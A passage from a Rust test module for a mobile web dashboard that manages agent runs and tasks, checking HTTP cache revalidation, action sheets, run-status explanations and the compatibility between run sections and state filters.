15486            js.header("cache-control"),
15487            Some("no-cache, must-revalidate"),
15488            "the phone has to ask every time"
15489        );
15490
15491        // And the asking has to be cheap, or `must-revalidate` just means
15492        // "send the whole interface on every load".
15493        let again = fx
15494            .get_with("/app.js", &[("if-none-match", tag.as_str())])
15495            .await;
15496        assert_eq!(
15497            again.status, 304,
15498            "a deck it already has costs one round trip"
15499        );
15500        assert!(again.body.is_empty(), "304 carries no body");
15501
15502        // A weakened tag from a proxy still matches; a different build does
15503        // not, which is the case that has to deliver the new interface.
15504        let weak = fx
15505            .get_with("/app.js", &[("if-none-match", &format!("W/{tag}"))])
15506            .await;
15507        assert_eq!(weak.status, 304);
15508        let stale = fx
15509            .get_with("/app.js", &[("if-none-match", "\"0.0.1-1\"")])
15510            .await;
15511        assert_eq!(stale.status, 200, "an older build must be replaced");
15512        assert!(stale.body.contains("renderRunActions"));
15513    }
15514
15515    #[test]
15516    fn the_task_detail_has_an_actions_fab_and_sheet() {
15517        assert!(INDEX_HTML.contains("id=\"task-actions-fab\""));
15518        assert!(INDEX_HTML.contains("id=\"task-actions-sheet\""));
15519        assert!(INDEX_HTML.contains("id=\"task-actions-error\" role=\"alert\""));
15520        // Shown only on the task route, closed everywhere else.
15521        assert!(APP_JS.contains("show($(\"task-actions-fab\"), route.name === \"task\")"));
15522        assert!(APP_JS.contains("if (route.name !== \"task\") closeTaskActions();"));
15523        // Refreshed whenever the detail redraws, including the loading state.
15524        assert!(APP_JS.contains("renderTaskActions(task);"));
15525        assert!(APP_JS.contains("renderTaskActions(null);"));
15526        // Same renderers and routes as the Queue card, no new endpoint.
15527        let sheet = APP_JS
15528            .find("function renderTaskActions")
15529            .expect("sheet renderer");
15530        let body = &APP_JS[sheet..sheet + 3000];
15531        assert!(body.contains("changePriority("));
15532        assert!(body.contains("openTaskEdit(task)"));
15533        assert!(body.contains("renderTaskHoldBox(host"));
15534        assert!(body.contains("renderTaskDoneBox(host"));
15535        assert!(body.contains("renderTaskDeleteBox(host"));
15536        assert!(APP_JS.contains("API.priority(id)"));
15537        assert!(APP_JS.contains("API.deleteTask(id)"));
15538        // A deleted task sends the operator back to the queue.
15539        assert!(APP_JS.contains("location.hash = \"#/queue\""));
15540        // A refusal is shown inside the sheet.
15541        assert!(APP_JS.contains("$(\"task-actions-error\")"));
15542    }
15543
15544    #[test]
15545    fn the_run_actions_sheet_leads_with_a_way_to_the_task() {
15546        let task = INDEX_HTML.find("id=\"run-task-box\"").expect("task box");
15547        let actions = INDEX_HTML
15548            .find("id=\"run-actions-box\"")
15549            .expect("actions box");
15550        assert!(task < actions, "the task entry comes first in the sheet");
15551        assert!(APP_JS.contains("renderRunTaskEntry"));
15552        assert!(APP_JS.contains("\"Open task \""));
15553        // A run without a task says why there is nothing to open.
15554        assert!(APP_JS.contains("started directly, no task"));
15555        assert!(APP_JS.contains("sheet-task-link"));
15556        assert!(APP_JS.contains("task-chip-link"));
15557    }
15558
15559    #[test]
15560    fn the_deck_never_sends_the_operator_to_a_terminal() {
15561        // The whole point of the phone UI is that a terminal is not needed.
15562        // The delete control used to answer with "Run `magi fold` first."
15563        assert!(
15564            !APP_JS.contains("Run `magi fold` first"),
15565            "the deck must offer the fold, not prescribe a shell command"
15566        );
15567        assert!(APP_JS.contains("foldRun:"));
15568        assert!(APP_JS.contains("resumeRun:"));
15569        assert!(APP_JS.contains("renderRunActions"));
15570
15571        // Folding is destructive and armed in two steps, like deleting.
15572        assert!(APP_JS.contains("armedFold"));
15573        assert!(APP_JS.contains("Yes, fold worktrees"));
15574
15575        // And the copy has to say that the two actions are opposites, because
15576        // folding throws away exactly what a resume would continue from.
15577        assert!(APP_JS.contains("can no longer be resumed"));
15578    }
15579
15580    #[test]
15581    fn a_finished_run_explains_itself_with_its_own_last_line() {
15582        // The deck used to answer "why did this stop?" with a sentence chosen
15583        // by status alone. Run e633 stalled because two judges answered with
15584        // the wrong JSON shape and its card said "The panel collapsed on
15585        // agent quota" - with `quota: []` in the record and a quota-loss
15586        // counter right above it that correctly said nothing.
15587        assert!(
15588            !APP_JS.contains("collapsed on agent quota"),
15589            "a stall must not be explained by a cause the deck did not check"
15590        );
15591        assert!(
15592            !APP_JS.contains("Review rounds ran out with findings still open, or the gate failed"),
15593            "and a block must not offer a guess with an `or` in it"
15594        );
15595
15596        // The reason it does have is `run.event`, which must reach finished
15597        // runs: gating it on movement hid the recorded truth at the one moment
15598        // the operator is reading the card to find out what happened.
15599        assert!(
15600            APP_JS.contains("setText(r.event, run.event || \"\")"),
15601            "the run's last line is rendered unconditionally"
15602        );
15603        assert!(
15604            !APP_JS.contains("moving && run.event"),
15605            "and never gated on the run still moving"
15606        );
15607
15608        // Quota keeps its own counter, fed by the number actually recorded.
15609        assert!(APP_JS.contains("lost to quota"));
15610    }
15611
15612    /// The runs tree (section) and the state chips (waiting/done) are two
15613    /// independent lenses ANDed together in `renderRuns`, and some pairings
15614    /// can never both be true for any run - every "Landed"/"Ended" run is
15615    /// done by construction, so pairing either with "Active" or "In flight"
15616    /// always rendered zero cards with the filter bar still claiming
15617    /// `Showing Ended`. `sectionCompatibleWithStateFilter` exists to catch
15618    /// that before it happens, checked against `REPRESENTATIVE_RUN_SHAPES` -
15619    /// a handful of (waiting, status) shapes standing in for the run
15620    /// lifecycle, because `cargo test` cannot execute the front end.
15621    ///
15622    /// That stand-in list is itself the part that drifted twice in review:
15623    /// once shipped with `waiting: true` paired with a done status the
15624    /// lifecycle cannot produce, then over-corrected into treating every
15625    /// waiting run as never done - which made "Waiting on you" look
15626    /// incompatible with "Done" even for the one real, reachable shape
15627    /// (Stalled/Blocked, both terminal yet still resumable) that is exactly
15628    /// that combination. This test parses the shapes and the done-rule back
15629    /// out of `APP_JS`, reimplements `runSection` and the five state
15630    /// predicates independently in Rust, and checks the resulting
15631    /// section/filter compatibility table against the lifecycle rules by
15632    /// hand - so either direction of drift fails it again.
15633    #[test]
15634    fn runs_tree_sections_and_state_chips_agree_on_what_a_run_can_be() {
15635        let shapes_marker = "const REPRESENTATIVE_RUN_SHAPES = [";
15636        let shapes_body_start =
15637            APP_JS.find(shapes_marker).expect("the shape list exists") + shapes_marker.len();
15638        let shapes_close = APP_JS[shapes_body_start..]
15639            .find("].map(")
15640            .expect("the shape list is closed by its done-computing .map(...)")
15641            + shapes_body_start;
15642        let shapes_src = &APP_JS[shapes_body_start..shapes_close];
15643
15644        let mut shapes: Vec<(bool, String, bool)> = Vec::new();
15645        for entry in shapes_src.split('{').skip(1) {
15646            let waiting = entry.contains("waiting: true");
15647            let dead = entry.contains("live: \"dead\"");
15648            let status_at =
15649                entry.find("status: \"").expect("each shape names a status") + "status: \"".len();
15650            let status_end = entry[status_at..]
15651                .find('"')
15652                .expect("the status string is closed")
15653                + status_at;
15654            shapes.push((waiting, entry[status_at..status_end].to_string(), dead));
15655        }
15656        assert!(shapes.len() >= 6, "parsed shapes: {shapes:?}");
15657
15658        // The done rule itself (`!["implementing"].includes(shape.status)`),
15659        // read out of the source rather than hardcoded, so a renamed
15660        // in-flight status can't silently make every parsed shape "done".
15661        let done_rule_marker = "done: !";
15662        let done_rule_at = APP_JS[shapes_close..]
15663            .find(done_rule_marker)
15664            .expect("the done rule follows the shape list")
15665            + shapes_close
15666            + done_rule_marker.len();
15667        let includes_at = APP_JS[done_rule_at..]
15668            .find(".includes(shape.status)")
15669            .expect("the done rule ends in .includes(shape.status)")
15670            + done_rule_at;
15671        let not_done: Vec<&str> = APP_JS[done_rule_at..includes_at]
15672            .trim()
15673            .trim_start_matches('[')
15674            .trim_end_matches(']')
15675            .split(',')
15676            .map(|s| s.trim().trim_matches('"'))
15677            .filter(|s| !s.is_empty())
15678            .collect();
15679
15680        let shapes: Vec<(bool, String, bool, bool)> = shapes
15681            .into_iter()
15682            .map(|(waiting, status, dead)| {
15683                let done = !not_done.contains(&status.as_str());
15684                (waiting, status, dead, done)
15685            })
15686            .collect();
15687
15688        // `runSection` reimplemented from assets/ui/app.js: `waiting` wins
15689        // outright, then merged/ready land, stalled/blocked/failed/
15690        // verified_noop end, and everything else is still in flight.
15691        fn run_section(waiting: bool, status: &str, dead: bool) -> &'static str {
15692            if waiting {
15693                return "waiting";
15694            }
15695            if dead
15696                && !matches!(
15697                    status,
15698                    "merged"
15699                        | "ready"
15700                        | "stalled"
15701                        | "blocked"
15702                        | "failed"
15703                        | "verified_noop"
15704                        | "superseded"
15705                        | "already_in_base"
15706                )
15707            {
15708                return "stale";
15709            }
15710            match status {
15711                "merged" | "ready" => "landed",
15712                "stalled" | "blocked" | "failed" | "verified_noop" | "superseded"
15713                | "already_in_base" => "ended",
15714                _ => "flight",
15715            }
15716        }
15717
15718        // RUN_STATE_FILTERS' six `match` functions, reimplemented the same
15719        // way.
15720        fn filter_matches(filter_key: &str, waiting: bool, dead: bool, done: bool) -> bool {
15721            match filter_key {
15722                "active" => !done,
15723                "flight" => !done && !waiting && !dead,
15724                "stale" => !done && !waiting && dead,
15725                "waiting" => waiting,
15726                "done" => done,
15727                "all" => true,
15728                other => panic!("unknown RUN_STATE_FILTERS key: {other}"),
15729            }
15730        }
15731
15732        let compatible = |section: &str, filter_key: &str| {
15733            shapes.iter().any(|(waiting, status, dead, done)| {
15734                run_section(*waiting, status, *dead) == section
15735                    && filter_matches(filter_key, *waiting, *dead, *done)
15736            })
15737        };
15738
15739        // One row per RUN_SECTIONS key, in RUN_STATE_FILTERS' own order
15740        // (active, flight, stale, waiting, done, all) - hand-derived from the
15741        // lifecycle, independently of whatever REPRESENTATIVE_RUN_SHAPES
15742        // currently contains.
15743        let expected = [
15744            ("waiting", [true, false, false, true, true, true]),
15745            ("stale", [true, false, true, false, false, true]),
15746            ("flight", [true, true, false, false, false, true]),
15747            ("landed", [false, false, false, false, true, true]),
15748            ("ended", [false, false, false, false, true, true]),
15749        ];
15750        let filter_keys = ["active", "flight", "stale", "waiting", "done", "all"];
15751
15752        for (section, wants) in expected {
15753            for (filter_key, want) in filter_keys.iter().zip(wants) {
15754                assert_eq!(
15755                    compatible(section, filter_key),
15756                    want,
15757                    "section {section:?} x filter {filter_key:?} should be compatible: {want}"
15758                );
15759            }
15760        }
15761
15762        // The compatibility check exists only to be acted on: both pickers
15763        // must actually consult it rather than just render its answer.
15764        assert!(
15765            APP_JS.contains("function sectionCompatibleWithStateFilter(sectionKey, filterKey)")
15766        );
15767        assert!(APP_JS.contains(
15768            "if (state.runsFilter.section && !sectionCompatibleWithStateFilter(state.runsFilter.section, key))"
15769        ));
15770        assert!(APP_JS.contains(
15771            "if (!same && !sectionCompatibleWithStateFilter(section, state.runsStateFilter))"
15772        ));
15773    }
15774
15775    #[tokio::test]
15776    async fn normalize_default_repo_leaves_an_explicit_path_untouched() {
15777        // An operator-named directory - git checkout or not - is never
15778        // second-guessed, even when it does not exist at all: only the
15779        // flag's own unmodified `.` default is ever eligible for discovery.
15780        let dir = tempfile::tempdir().expect("tempdir");
15781        let explicit = dir.path().join("not-a-checkout");
15782        std::fs::create_dir_all(&explicit).expect("create dir");
15783        assert_eq!(normalize_default_repo(explicit.clone()).await, explicit);
15784
15785        let missing = dir.path().join("does-not-exist-at-all");
15786        assert_eq!(normalize_default_repo(missing.clone()).await, missing);
15787    }
15788
15789    #[test]
15790    fn stats_verdict_donut_has_fixed_colours_and_a_minimum_arc() {
15791        assert!(APP_JS.contains("function statsDonutArcs"));
15792        assert!(APP_JS.contains("STATS_DONUT_MIN_DEG"));
15793        // A bucket click filters by the statuses src/stats.rs counts in it.
15794        assert!(APP_JS.contains("function statusInBucket"));
15795        assert!(APP_JS.contains("statuses: [\"superseded\", \"already_in_base\"]"));
15796        assert!(INDEX_HTML.contains("id=\"stats-verdict-donut\""));
15797        let buckets = [
15798            "merged",
15799            "ready",
15800            "in_progress",
15801            "blocked",
15802            "failed",
15803            "verified_noop",
15804            "superseded",
15805            "stalled",
15806        ];
15807        for key in buckets {
15808            let var = format!("--verdict-{key}:");
15809            // Light, OS-dark and pinned-dark blocks each define it.
15810            assert_eq!(APP_CSS.matches(&var).count(), 3, "{var}");
15811            assert!(
15812                APP_CSS.contains(&format!("[data-verdict=\"{key}\"]")),
15813                "{key}"
15814            );
15815        }
15816    }
15817}